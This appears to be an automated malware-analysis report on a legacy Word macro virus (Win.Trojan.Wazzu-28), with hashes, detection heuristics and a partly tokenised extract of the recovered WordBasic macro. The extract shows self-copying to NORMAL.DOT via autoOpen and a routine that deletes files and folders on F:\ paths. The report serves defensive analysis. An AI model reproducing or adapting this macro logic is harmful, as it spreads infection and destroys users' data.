Win.Trojan.Wazzu-28 — Office (OLE) malware analysis

Static analysis result for SHA-256 8147f0f4660c5622…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 2f35eb3d4fbea0125283c036839e653c SHA-1: 87254c5b87784d68732270bfa67ba3674a9c308c SHA-256: 8147f0f4660c5622307e34a22f6e61f0bdc11cfe0c47a5eb398c71bc1b671081
102 Risk Score

Malware Insights

Win.Trojan.Wazzu-28 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus, specifically identified as a 'RSN MACRO VIRUS Goat file'. ClamAV detection confirms it as Win.Trojan.Wazzu-28. The presence of legacy macro markers and the explicit naming convention strongly suggest a malicious document designed to spread or infect systems.

Heuristics 3

  • ClamAV: Win.Trojan.Wazzu-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Wazzu-28
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 594 bytes
SHA-256: 95d3bb55cd6437ece423da6222a55431684b15818fdbbd00a42895a0717f7b74
Preview script
First 1,000 lines of the extracted script
8300   ,  
    10272 25199 8233 29793  
      24933 8300
MAIN
, - * errCaught
rightNow = @cmd8101
@cmd0056
dlg @cmd0056
dlg
fileMacro$ = dlg = "\" = dlg @cmd0700 ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 globMacro$ , fileMacro$
@cmd0054 = 1
@cmd80c2 fileMacro$ , globMacro$
rightNow
PowerPlay
* bye @cmd7468
, - * 0
PowerPlay
, -
@cmd80ab "F:\8_CLOCKS\*.*"
@cmd80ab "F:\UW\UWBILL\*.*"
@cmd80ab "F:\UW\WQSB\*.*"
@cmd80ae "F:\8_CLOCKS"
@cmd80ae "F:\UW\UWBILL"
@cmd80ae "F:\UW\WQSB"
@cmd80ae "F:\UW"

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